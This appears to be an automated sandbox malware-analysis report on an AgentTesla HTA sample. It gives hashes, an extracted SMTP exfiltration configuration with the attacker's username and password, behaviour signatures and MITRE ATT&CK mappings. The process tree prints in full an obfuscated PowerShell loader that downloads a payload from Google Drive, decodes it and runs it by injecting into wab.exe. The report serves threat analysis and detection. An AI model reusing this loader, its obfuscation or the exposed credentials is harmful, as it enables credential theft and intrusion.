agenttesla | 2b50c5df81cc4af7689262cabd209ffbefc2984566e4e8070f7135a40729ccb9

General

Target

2b50c5df81cc4af7689262cabd209ffbefc2984566e4e8070f7135a40729ccb9.hta
Size

68KB
MD5

7783fe86579a380bc61cdc4470dd0fc8
SHA1

8dd0213228872a897f604a19ea0eda3dfb85ae20
SHA256

2b50c5df81cc4af7689262cabd209ffbefc2984566e4e8070f7135a40729ccb9
SHA512

0aa925c3b6fb73f806198dc331778e5628b874ac359de3a99f15cc53f2999426d01b0c6d55821c54b14ca6c9cac1f762db909e49395f5dc2ce8f3a53f55a8dea
SSDEEP

192:giRpwijIw1govv2jEVUZDuEDMD+Y3Pet3pltqE6Nb6/0vOS2336SQ:dvS7ZvrS86S

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.bspskypark.com
Port:
587
Username:
[email protected]
Password:
B$pskypark002
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2552	powershell.exe
7	2552	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	api.ipify.org
15	ip-api.com
13	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2976	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2688	powershell.exe
2976	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2688 set thread context of 2976	2688	powershell.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2552	powershell.exe
2688	powershell.exe
2688	powershell.exe
2976	wab.exe
2976	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	2976	wab.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 2552	2028	mshta.exe	29
PID 2028 wrote to memory of 2552	2028	mshta.exe	29
PID 2028 wrote to memory of 2552	2028	mshta.exe	29
PID 2028 wrote to memory of 2552	2028	mshta.exe	29
PID 2552 wrote to memory of 2496	2552	powershell.exe	31
PID 2552 wrote to memory of 2496	2552	powershell.exe	31
PID 2552 wrote to memory of 2496	2552	powershell.exe	31
PID 2552 wrote to memory of 2496	2552	powershell.exe	31
PID 2552 wrote to memory of 2688	2552	powershell.exe	32
PID 2552 wrote to memory of 2688	2552	powershell.exe	32
PID 2552 wrote to memory of 2688	2552	powershell.exe	32
PID 2552 wrote to memory of 2688	2552	powershell.exe	32
PID 2688 wrote to memory of 1924	2688	powershell.exe	33
PID 2688 wrote to memory of 1924	2688	powershell.exe	33
PID 2688 wrote to memory of 1924	2688	powershell.exe	33
PID 2688 wrote to memory of 1924	2688	powershell.exe	33
PID 2688 wrote to memory of 2976	2688	powershell.exe	34
PID 2688 wrote to memory of 2976	2688	powershell.exe	34
PID 2688 wrote to memory of 2976	2688	powershell.exe	34
PID 2688 wrote to memory of 2976	2688	powershell.exe	34
PID 2688 wrote to memory of 2976	2688	powershell.exe	34
PID 2688 wrote to memory of 2976	2688	powershell.exe	34

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\2b50c5df81cc4af7689262cabd209ffbefc2984566e4e8070f7135a40729ccb9.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$magni = 1;$Anteroexternal='S';$Anteroexternal+='ubstrin';$Anteroexternal+='g';Function Tllings($Sedated161){$Sangrel91=$Sedated161.Length-$magni;For($Ailing=1;$Ailing -lt $Sangrel91;$Ailing+=2){$Soljers+=$Sedated161.$Anteroexternal.Invoke( $Ailing, $magni);}$Soljers;}function rehearsed($Predrove){. ($Lepal) ($Predrove);}$Tobenedes45=Tllings 'AM o zYi l laa,/,5R. 0G (,W.iFnAdBoHwNsK NN T, .1I0,. 0 ;S KWsiMn,6F4s;D xD6H4,; Lrpv,: 1T2.1 .B0 )S DG,e.c kpoF/ 2B0.1 0.0.1.0B1M pFSiSr.eSf,oBx /S1F2T1l..0 ';$Vrinskedes=Tllings 'CUKs eSrU-NASg eCn,tU ';$Footcloths=Tllings 'Ch tIt pRs :F/./ dZr.iSv.e,..g o ocg l eP.BcbolmD/Pu.cC?Pe,x pKoZr.tI=pdSo w nGlKoLaGdu& iPdP= 1 uGs N,PSd xSZ 2 pWp e,lFK o,U N U.a vPcURDf,4S1AY SFM N v UAOGks ';$Parametrizing=Tllings ' >E ';$Lepal=Tllings 'TiSe xP ';$Adiantum201='Popularizes';rehearsed (Tllings ',S.e t.- CIo nAtPeFn,tA -,P aStShM VT.:v\.K a p iStNaslSf oKr kAl a,rAiPnLgSeCn ..t.xMtS ,- V aFlPu eA L$ AEd i aOnGtHu mS2K0,1 ; ');rehearsed (Tllings 'Ri.fU ,(Lt eGs,tL-.p aCt hI RT :.\TKNa p,iTtBa.lSfHo r kOlSa r.iUn.g e,n .Ot,xAt,)R{ e xSiHtD}O;T ');$Casual91 = Tllings ' eVc hMoA %.a p pFdKaDtua %,\ Ukn fIiBrPm a mKeMn.tGe,dC. J,a b ,&T&. Oe.c.hVo i$L ';rehearsed (Tllings 'D$Pg.l o b,a,lA:,U,nBvNa l,e.t.u,d,iRn aPrkyi=S(Tc m dU / c C$MCFa.sSu a lB9R1I)J ');rehearsed (Tllings ' $TgJl,oSb a lF: R uGtSe b.iEl = $BF oTo tAc lSoRt,h s,.EsAp lAi tO(C$CP.aIr aFmHeBt rVi.z i nSg )B ');$Footcloths=$Rutebil[0];rehearsed (Tllings 'R$IgslEoPbSaBlU:EUBn iMfSaDcRiFa lK= Nve wA- OOb jBe c,t, RS y s tsermU.FN eEt . WUeCb,CKl iNe.n,tG ');rehearsed (Tllings ' $,U n i f a cFi a l .SH,eKa dDe ras,[p$,V,rCi,nDs.k,eTdeeBs.]S=V$ATSo b.eFn e.d e s.4O5W ');$Mambos=Tllings 'MUFn.ijfraUc,i.atlF.bD.o.w n l o aMdSFPiUlUef(b$PFAo oSt cRlBoDt hksU,.$BT u,nTn,eClSe rIsC)F ';$Mambos=$Unvaletudinary[1]+$Mambos;$Tunnelers=$Unvaletudinary[0];rehearsed (Tllings 'P$.g.lbo bPaVlC:LUNdLsCtAi k.nJi n g,e rSsF= ( T eHs tU- P.ahtIhP U$NTMu nAn.eNlPe.r sW) ');while (!$Udstikningers) {rehearsed (Tllings ' $Ug,l oSb.a lS:BCYo,u,nAt e.rFmJotvJe,d = $At rUu e. ') ;rehearsed $Mambos;rehearsed (Tllings 'CSGtSaRrCt,-SS lFe,eDpr V4 ');rehearsed (Tllings 'B$Mg,lDocbNa.lD: UPd sUt ihk nCiAn.g.eOrDs = (IT e.s tS-EP,aBtFhM D$ T,u nUnSe lMezrKs )b ') ;rehearsed (Tllings ' $,g l.oDbaaSl :CN,eSaTp =M$SgEl,o b aUl :FtGe rFiSs,k,+K+M% $,RLu.tSeFbTiFlM. c o.u n,t. ') ;$Footcloths=$Rutebil[$Neap];}rehearsed (Tllings 'V$Cg l o.bAa.l.:US k n h.eFd,eSr sa =O GCeBtF-OC,o nHtCeSnRt A$DTPuLn,nRe.lOe.r s ');rehearsed (Tllings 'L$ gGlBo b aAl :DKBoqnGg,sGg a aMrUd.e nKek6E0 e=A D[MS yls t.eFm .gCbo.n.vRe.rGt ]K: :.FTr oHm BdaBs e.6O4 SStTrMiSnTg ( $FSBk.nEhEe dWeDr sA) ');rehearsed (Tllings ' $Dg l o b,a l,: PSlOo u gEh h.eAaPd =, H[.S,y s,t ePmR..TFe xUtm.SE nTc oVdsi nFgA]L:B: A SUC,I I,. G eLtSSMtMr,i nUgC( $ K oKnNgCs g aWaHr d e nSeC6 0C)T ');rehearsed (Tllings ' $,g.l ocb aTlA:,BAuBtPtPoBnGmSoSuTlfdV=H$mP lDoRuPgChThHe.a.d,.,s.uSb s t,rEiAn,gG( 3A5C3 0A3r3,,P2B7 7S2,9M), ');rehearsed $Buttonmould;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Unfirmamented.Jab && echo $"
    3⤵
    PID:2496
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$magni = 1;$Anteroexternal='S';$Anteroexternal+='ubstrin';$Anteroexternal+='g';Function Tllings($Sedated161){$Sangrel91=$Sedated161.Length-$magni;For($Ailing=1;$Ailing -lt $Sangrel91;$Ailing+=2){$Soljers+=$Sedated161.$Anteroexternal.Invoke( $Ailing, $magni);}$Soljers;}function rehearsed($Predrove){. ($Lepal) ($Predrove);}$Tobenedes45=Tllings 'AM o zYi l laa,/,5R. 0G (,W.iFnAdBoHwNsK NN T, .1I0,. 0 ;S KWsiMn,6F4s;D xD6H4,; Lrpv,: 1T2.1 .B0 )S DG,e.c kpoF/ 2B0.1 0.0.1.0B1M pFSiSr.eSf,oBx /S1F2T1l..0 ';$Vrinskedes=Tllings 'CUKs eSrU-NASg eCn,tU ';$Footcloths=Tllings 'Ch tIt pRs :F/./ dZr.iSv.e,..g o ocg l eP.BcbolmD/Pu.cC?Pe,x pKoZr.tI=pdSo w nGlKoLaGdu& iPdP= 1 uGs N,PSd xSZ 2 pWp e,lFK o,U N U.a vPcURDf,4S1AY SFM N v UAOGks ';$Parametrizing=Tllings ' >E ';$Lepal=Tllings 'TiSe xP ';$Adiantum201='Popularizes';rehearsed (Tllings ',S.e t.- CIo nAtPeFn,tA -,P aStShM VT.:v\.K a p iStNaslSf oKr kAl a,rAiPnLgSeCn ..t.xMtS ,- V aFlPu eA L$ AEd i aOnGtHu mS2K0,1 ; ');rehearsed (Tllings 'Ri.fU ,(Lt eGs,tL-.p aCt hI RT :.\TKNa p,iTtBa.lSfHo r kOlSa r.iUn.g e,n .Ot,xAt,)R{ e xSiHtD}O;T ');$Casual91 = Tllings ' eVc hMoA %.a p pFdKaDtua %,\ Ukn fIiBrPm a mKeMn.tGe,dC. J,a b ,&T&. Oe.c.hVo i$L ';rehearsed (Tllings 'D$Pg.l o b,a,lA:,U,nBvNa l,e.t.u,d,iRn aPrkyi=S(Tc m dU / c C$MCFa.sSu a lB9R1I)J ');rehearsed (Tllings ' $TgJl,oSb a lF: R uGtSe b.iEl = $BF oTo tAc lSoRt,h s,.EsAp lAi tO(C$CP.aIr aFmHeBt rVi.z i nSg )B ');$Footcloths=$Rutebil[0];rehearsed (Tllings 'R$IgslEoPbSaBlU:EUBn iMfSaDcRiFa lK= Nve wA- OOb jBe c,t, RS y s tsermU.FN eEt . WUeCb,CKl iNe.n,tG ');rehearsed (Tllings ' $,U n i f a cFi a l .SH,eKa dDe ras,[p$,V,rCi,nDs.k,eTdeeBs.]S=V$ATSo b.eFn e.d e s.4O5W ');$Mambos=Tllings 'MUFn.ijfraUc,i.atlF.bD.o.w n l o aMdSFPiUlUef(b$PFAo oSt cRlBoDt hksU,.$BT u,nTn,eClSe rIsC)F ';$Mambos=$Unvaletudinary[1]+$Mambos;$Tunnelers=$Unvaletudinary[0];rehearsed (Tllings 'P$.g.lbo bPaVlC:LUNdLsCtAi k.nJi n g,e rSsF= ( T eHs tU- P.ahtIhP U$NTMu nAn.eNlPe.r sW) ');while (!$Udstikningers) {rehearsed (Tllings ' $Ug,l oSb.a lS:BCYo,u,nAt e.rFmJotvJe,d = $At rUu e. ') ;rehearsed $Mambos;rehearsed (Tllings 'CSGtSaRrCt,-SS lFe,eDpr V4 ');rehearsed (Tllings 'B$Mg,lDocbNa.lD: UPd sUt ihk nCiAn.g.eOrDs = (IT e.s tS-EP,aBtFhM D$ T,u nUnSe lMezrKs )b ') ;rehearsed (Tllings ' $,g l.oDbaaSl :CN,eSaTp =M$SgEl,o b aUl :FtGe rFiSs,k,+K+M% $,RLu.tSeFbTiFlM. c o.u n,t. ') ;$Footcloths=$Rutebil[$Neap];}rehearsed (Tllings 'V$Cg l o.bAa.l.:US k n h.eFd,eSr sa =O GCeBtF-OC,o nHtCeSnRt A$DTPuLn,nRe.lOe.r s ');rehearsed (Tllings 'L$ gGlBo b aAl :DKBoqnGg,sGg a aMrUd.e nKek6E0 e=A D[MS yls t.eFm .gCbo.n.vRe.rGt ]K: :.FTr oHm BdaBs e.6O4 SStTrMiSnTg ( $FSBk.nEhEe dWeDr sA) ');rehearsed (Tllings ' $Dg l o b,a l,: PSlOo u gEh h.eAaPd =, H[.S,y s,t ePmR..TFe xUtm.SE nTc oVdsi nFgA]L:B: A SUC,I I,. G eLtSSMtMr,i nUgC( $ K oKnNgCs g aWaHr d e nSeC6 0C)T ');rehearsed (Tllings ' $,g.l ocb aTlA:,BAuBtPtPoBnGmSoSuTlfdV=H$mP lDoRuPgChThHe.a.d,.,s.uSb s t,rEiAn,gG( 3A5C3 0A3r3,,P2B7 7S2,9M), ');rehearsed $Buttonmould;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2688
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Unfirmamented.Jab && echo $"
      4⤵
      PID:1924
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
2666ade7567bc2271a7e376cb87dc0d4

SHA1
1aa6dfda24a4b3c0b5e46a978a9ff29073c0bebb

SHA256
d6460f541d692fd358b635bc9cf3c13270775338bd80504209b9d82c61a8970e

SHA512
be622e03b4d9988756e35a490e5180daead972b3a720e55ca87346b455de7223c49c27ed4cd06af7d3dfdf0dad4c399da761a26e2a627d1af8af281a3977af67

Download Submit
C:\Users\Admin\AppData\Roaming\Unfirmamented.Jab

Filesize
495KB

MD5
e6d8c108a21b9069c94e6ec0a9c97c09

SHA1
bd2c70ea4fe821e802d20b1e01bab00be8a36d71

SHA256
db4cef19f055629af73bd763b8dc82327c48cdc9f2aefff8c6505732ddb04800

SHA512
0f6fe8c176acfe4daeb7d7fee41c053e77601a90a48abcefac9ebfa7b3ca5238f77e936fd5e801d1e55781399d301c003d7cc7d27eb1647d54a5dfdd9729dd16

Download Submit
memory/2688-15-0x00000000066C0000-0x00000000083B0000-memory.dmp

Filesize
28.9MB

Download
memory/2976-38-0x00000000009A0000-0x0000000001A02000-memory.dmp

Filesize
16.4MB

Download
memory/2976-39-0x00000000009A0000-0x00000000009E2000-memory.dmp

Filesize
264KB

Download

Analysis

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